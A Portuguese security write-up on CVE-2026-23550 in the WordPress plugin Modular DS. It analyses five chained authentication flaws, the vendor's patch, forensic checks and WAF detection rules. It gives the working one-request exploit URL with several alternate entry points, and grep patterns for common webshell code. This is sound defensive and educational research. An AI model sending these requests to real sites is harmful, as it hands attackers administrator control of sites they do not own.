
Análise de causa raiz, PoC e orientação de detecção para CVE-2026-23550, uma tomada de sessão de administrador não autenticada crítica no plugin WordPress Modular DS.
██████╗██╗ ██╗███████╗ ██████╗ ██████╗ ██████╗ ██████╗ ██████╗ ██████╗ ███████╗ ███████╗ ██████╗
██╔════╝██║ ██║██╔════╝ ╚════██╗██╔═████╗╚════██╗██╔════╝ ╚════██╗╚════██╗██╔════╝ ██╔════╝██╔═████╗
██║ ██║ ██║█████╗ █████╔╝██║██╔██║ █████╔╝███████╗ █████╔╝ █████╔╝███████╗ ███████╗██║██╔██║
██║ ╚██╗ ██╔╝██╔══╝ ██╔═══╝ ████╔╝██║██╔═══╝ ██╔═══██╗ ╚═══██╗ ╚═══██╗╚════██║ ╚════██║████╔╝██║
╚██████╗ ╚████╔╝ ███████╗ ███████╗╚██████╔╝███████╗╚██████╔╝ ██████╔╝██████╔╝███████║ ███████║╚██████╔╝
╚═════╝ ╚═══╝ ╚══════╝ ╚══════╝ ╚═════╝ ╚══════╝ ╚═════╝ ╚═════╝ ╚═════╝ ╚══════╝ ╚══════╝ ╚═════╝
Análise de Causa Raiz · Passeio pelo Código Fonte · Diff de Patch · PoC Educacional
Por: Beelze ( zeroday 1diot9 )
Modular DS (
modular-connector) é um plugin WordPress de gerenciamento de sites com mais de 40.000 instalações ativas. As versões ≤ 2.5.1 contêm uma cadeia de cinco defeitos que se acumulam, permitindo que qualquer atacante não autenticado ignore a autenticação, invoque o endpoint de login interno do plugin e receba um cookie de sessãowordpress_logged_in_*para a primeira conta de administrador — com uma única requisição HTTP GET.
GET /api/modular-connector/login/x?origin=mo&type=x HTTP/1.1
Host: victim.tld
→ HTTP/1.1 302 Found
Location: /wp-admin/index.php
Set-Cookie: wordpress_logged_in_<hash>=...
Resultado: comprometimento total do administrador. O atacante pode instalar plugins maliciosos, inserir webshells, criar contas de administrador de backup, exfiltrar o banco de dados.
A vulnerabilidade aciona um roteador personalizado derivado do Laravel embutido no plugin. O plugin possui seu próprio kernel HTTP (Ares/Framework) que se conecta na ação parse_request do WordPress para sequestrar requisições antes que o próprio roteamento do WordPress entre em ação.
Pré-requisitos: nenhum (plugin instalado e ativo, conectado ao Modular SaaS — padrão para todas as instalações ao vivo).
Pontos de entrada (qualquer um é suficiente):
/api/modular-connector/login/<qualquer>?origin=mo&type=<qualquer>
/?rest_route=/api/modular-connector/login/<qualquer>&origin=mo&type=<qualquer>
/index.php?rest_route=/api/modular-connector/login/<qualquer>&origin=mo&type=<qualquer>
/wp-load.php?origin=mo&type=<qualquer>
A vulnerabilidade não é uma falha única — é uma cadeia de cinco defeitos que se acumulam. Cada camada, vista isoladamente, pode parecer defensável; combinadas, elas colapsam em um comprometimento de administrador pré-autenticação.
flowchart TB
A["🌐 Requisição do Atacante<br/>?origin=mo&type=x"] --> B["① HttpUtils::isDirectRequest()<br/>Portão abre apenas com parâmetros de consulta"]
B --> C["② Router::findRoute()<br/>URL implicitamente resolvida para rota /login"]
C --> D["③ Filtro bindOldRoutes()<br/>Falha em type desconhecido"]
D --> E["④ ModularGuard::check()<br/>Valida OAuth do servidor, NÃO a requisição"]
E --> F["⑤ AuthController::getLogin()<br/>Usa fallback para primeiro admin"]
F --> G["🔑 Set-Cookie: wordpress_logged_in_*<br/>Atacante = Admin"]
style A fill:#ff4444,stroke:#000,color:#fff
style G fill:#00cc44,stroke:#000,color:#fff
style B fill:#ff8888,stroke:#000
style C fill:#ffaa66,stroke:#000
style D fill:#ffcc44,stroke:#000
style E fill:#ff8888,stroke:#000
style F fill:#ff4444,stroke:#000,color:#fffHttpUtils::isDirectRequest()Arquivo: vendor/ares/framework/src/Foundation/Http/HttpUtils.php:64
public static function isDirectRequest(): bool
{
$request = app('request');
$userAgent = $request->header('User-Agent');
$userAgentMatches = $userAgent && Str::is('ModularConnector/* (Linux)', $userAgent);
$originQuery = $request->has('origin') && $request->get('origin') === 'mo';
$isFromQuery = ($originQuery || $userAgentMatches) && $request->has('type');
if ($isFromQuery) {
return true; // ⚠️ apenas parâmetro de consulta, sem assinatura
}
return false;
}
Problema: O modo "requisição direta" — destinado a identificar chamadas legítimas do backend Modular SaaS — é protegido apenas por parâmetros de consulta em texto puro, sem HMAC, JWT, nonce assinado ou lista de permissão de IP. Qualquer atacante pode acionar essa chave.
Router::findRoute()Arquivo: vendor/ares/framework/src/Foundation/Routing/Router.php:20
protected function findRoute($request)
{
$this->current = $route = apply_filters(
'ares/routes/match',
$this->routes->match($request), // ⚠️ URL resolvida para rota ANTES do filtro executar
true
);
$route->setContainer($this->container);
$this->container->instance(Route::class, $route);
return $route;
}
Problema: routes->match($request) do Laravel resolve /api/modular-connector/login/xxx na rota login (protegida por autenticação) antes que o filtro de segurança execute. O filtro recebe essa rota como entrada, colocando sobre ele o ônus de provar que a rota é ilegítima, em vez de autorizá-la explicitamente.
bindOldRoutes()Arquivo: src/app/Providers/RouteServiceProvider.php:46
public function bindOldRoutes($route, $removeQuery = false)
{
if (!HttpUtils::isDirectRequest()) return $route;
$request = request();
$type = $request->header('x-mo-type', $request->get('type'));
if ($type === 'request') { /* reatribuir via chamada OAuth assinada */ }
if ($type === 'oauth') { /* reatribuir para o handler /oauth */ }
if ($type === 'lb') { /* reatribuir para /schedule/run */ }
return $route; // ⚠️ Tipo desconhecido → rota da URL permanece como está
}
Problema: O filtro só substitui a rota quando type é um dos três valores conhecidos. Quando type é arbitrário (x, foo, vazio), ele passa direto e retorna a rota resolvida pela URL inalterada. A rota orientada por URL login — que no papel era protegida por autenticação — prossegue para a avaliação do middleware.
ModularGuard::check()Arquivo: vendor/ares/framework/src/Foundation/Auth/ModularGuard.php:16
public function check()
{
return !is_null($this->user());
}
public function user()
{
$client = OauthClient::getClient();
try {
$client->validateOrRenewAccessToken(); // ⚠️ verifica estado do SERVIDOR
$this->user = ['id' => $client->getClientId()];
} catch (\Throwable $e) {
return null;
}
return $this->user;
}
Problema: A guarda personalizada modular realiza zero verificação da identidade da requisição de entrada. Ela apenas verifica se o próprio plugin ainda mantém uma sessão OAuth válida com o Modular SaaS. Como praticamente toda instalação está conectada (caso contrário o plugin é inútil), a guarda retorna true para qualquer requisição que a atinja.
Este é o defeito central. Mesmo que os defeitos ①–③ fossem corrigidos, apenas esta guarda quebrada ainda permitiria acesso não autorizado a todas as rotas no grupo de middleware auth.
AuthController::getLogin()Arquivo: src/app/Http/Controllers/AuthController.php:66
public function getLogin(SiteRequest $modularRequest)
{
$user = data_get($modularRequest->body, 'id'); // null — binding nunca populado
if (!empty($user)) {
$user = get_user_by('id', $user);
}
if (empty($user)) {
Cache::driver('wordpress')->forget('user.login');
$user = ServerSetup::getAdminUser(); // 💣 primeiro admin do site
}
$cookies = ServerSetup::loginAs($user, true); // 💣 emite cookie de sessão WP
return Response::redirectTo(admin_url('index.php'))->withCookies($cookies);
}
Problema: O binding de modelo de rota SiteRequest só é populado quando type === 'request' na cadeia de filtros. Para type desconhecido, $modularRequest chega ao controlador como um objeto vazio. O controlador então silenciosamente cai para o primeiro usuário administrador e emite para ele um cookie de login do WordPress. Qualquer um pode entrar pela porta da frente.
━━━ vendor/ares/framework/src/Foundation/Routing/Router.php ━━━
- $route = apply_filters('ares/routes/match', $this->routes->match($request), true);
+ $route = apply_filters('ares/routes/match', true);
━━━ src/app/Providers/RouteServiceProvider.php ━━━
- public function bindOldRoutes($route, $removeQuery = false)
- {
- if (!HttpUtils::isDirectRequest()) return $route;
+ public function bindOldRoutes($removeQuery = false)
+ {
+ $routes = app('router')->getRoutes();
+ $route = $routes->getByName('default'); // 👈 sempre começar de uma rota 404
+ $route->bind(request());
+ if (!HttpUtils::isDirectRequest()) return $route;
━━━ src/routes/api.php ━━━
+ Route::get('default/{request}', function () {
+ abort(404);
+ })->name('default');
A correção remove a resolução implícita URL→rota completamente. O filtro agora começa com uma rota default programada para abort(404) e só reatribui para um controlador real quando type é um dos três valores explicitamente permitidos. Na nova lógica, type=x produz um 404 — a requisição nunca atinge o controlador de login, e não há nada para a guarda quebrada falhar abertamente.
Isso é defesa em profundidade aplicada retroativamente: mesmo que ModularGuard::check() permaneça estruturalmente fraco, a cadeia de alcançabilidade para ele agora está fechada para as rotas protegidas por autenticação.
modular-connector >= 2.5.2 — não negociável.Após a atualização, assuma comprometimento se o plugin estava ≤ 2.5.1 e acessível pela internet desde 2026-01-13. Verifique:
# 1. Contas de administrador não autorizadas
wp user list --role=administrator --fields=ID,user_login,user_email,user_registered
# 2. Instalações suspeitas de plugins após 2026-01-13
find wp-content/plugins/ -type d -newer /tmp/marker-jan13
# 3. Arquivos principais modificados recentemente
find wp-includes/ wp-admin/ -type f -mtime -30
# 4. Webshells (payloads comuns abandonados pós-exploração)
grep -rEn '(eval\(base64_decode|assert\(\$_|passthru\(\$_|preg_replace.*/e)' wp-content/
GET /api/modular-connector/login/[^\s]+\?origin=mo&type=[^\s]+
GET /?rest_route=/api/modular-connector/login[^\s]+origin=mo
SecRule REQUEST_URI "@rx /api/modular-connector/login" \
"id:2026023550,phase:1,deny,status:403,log,\
msg:'CVE-2026-23550 exploit attempt (Modular DS)'"
SecRule ARGS:origin "@streq mo" \
"chain,id:2026023551,phase:1,deny,status:403,log,\
msg:'CVE-2026-23550 direct-request bypass attempt'"
SecRule ARGS:type "@rx .+"
Beelze · zeroday 1diot9
Pesquisador Avançado de CVE · Analista de Vulnerabilidades · Construtor de PoC
Este repositório é publicado estritamente para fins educacionais e de pesquisa defensiva.
A vulnerabilidade é divulgada publicamente (CVE-2026-23550), corrigida pelo fornecedor (
modular-connector 2.5.2) e detalhada na imprensa de segurança mainstream. Este artigo existe para ajudar defensores a entenderem a causa raiz, desenvolvedores aprenderem com uma falha real de design de autenticação, e pesquisadores estudarem um padrão de defeitos em cadeia.Não execute os scripts PoC incluídos contra sistemas que você não possui ou para os quais não possui autorização explícita por escrito para testar. O acesso não autorizado a sistemas de computador é ilegal em praticamente todas as jurisdições (CFAA · Computer Misuse Act · ITE Law · etc.).
O autor não aceita nenhuma responsabilidade por uso indevido. Se você não tem certeza se seu caso de uso é autorizado, não é.
Feito com 🎯 para a comunidade de pesquisa em segurança.
⭐ Dê uma estrela neste repositório se ele te ajudou a aprender algo.
| Campo | Valor |
|---|
| Nome do Plugin | Modular DS |
| Slug | modular-connector |
| Vulnerável | <= 2.5.1 |
| Corrigido | 2.5.2 |
| Instalações Ativas | ~40.000 |
| CVSS v3.1 | 10.0 / CRÍTICO (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H) |
| CWE | CWE-287 · CWE-306 · CWE-863 |
| OWASP | A07 — Falhas de Identificação e Autenticação |
| # | Camada | Arquivo | Problema Raiz |
|---|
| ① | Portão de bootstrap | HttpUtils.php:64 | Verificação origin=mo apenas na consulta, sem criptografia/nonce |
| ② | Correspondente URL→rota | Router.php:20 | Resolução implícita de URL passada diretamente ao filtro |
| ③ | Filtro de substituição de rota | RouteServiceProvider.php:46 | type desconhecido passa direto com a rota original intacta |
| ④ | Guarda de autenticação | ModularGuard.php:16 | Valida estado OAuth do lado do servidor, não a identidade da requisição |
| ⑤ | Controlador de login | AuthController.php:66 | Fallback silencioso para getAdminUser() quando faltam dados |
| Data | Evento |
|---|
| 2026-01-XX | Fornecedor lança 2.5.2 com correção de segurança silenciosa |
| 2026-01-13 ~02:00 UTC | Primeira exploração observada no mundo real |
| 2026-01-13 | Patchstack publica aviso · CVE-2026-23550 atribuído |
| 2026-01-14 | Cobertura de The Hacker News, BleepingComputer, Security Affairs |
| 2026-07-05 | Este artigo educacional publicado |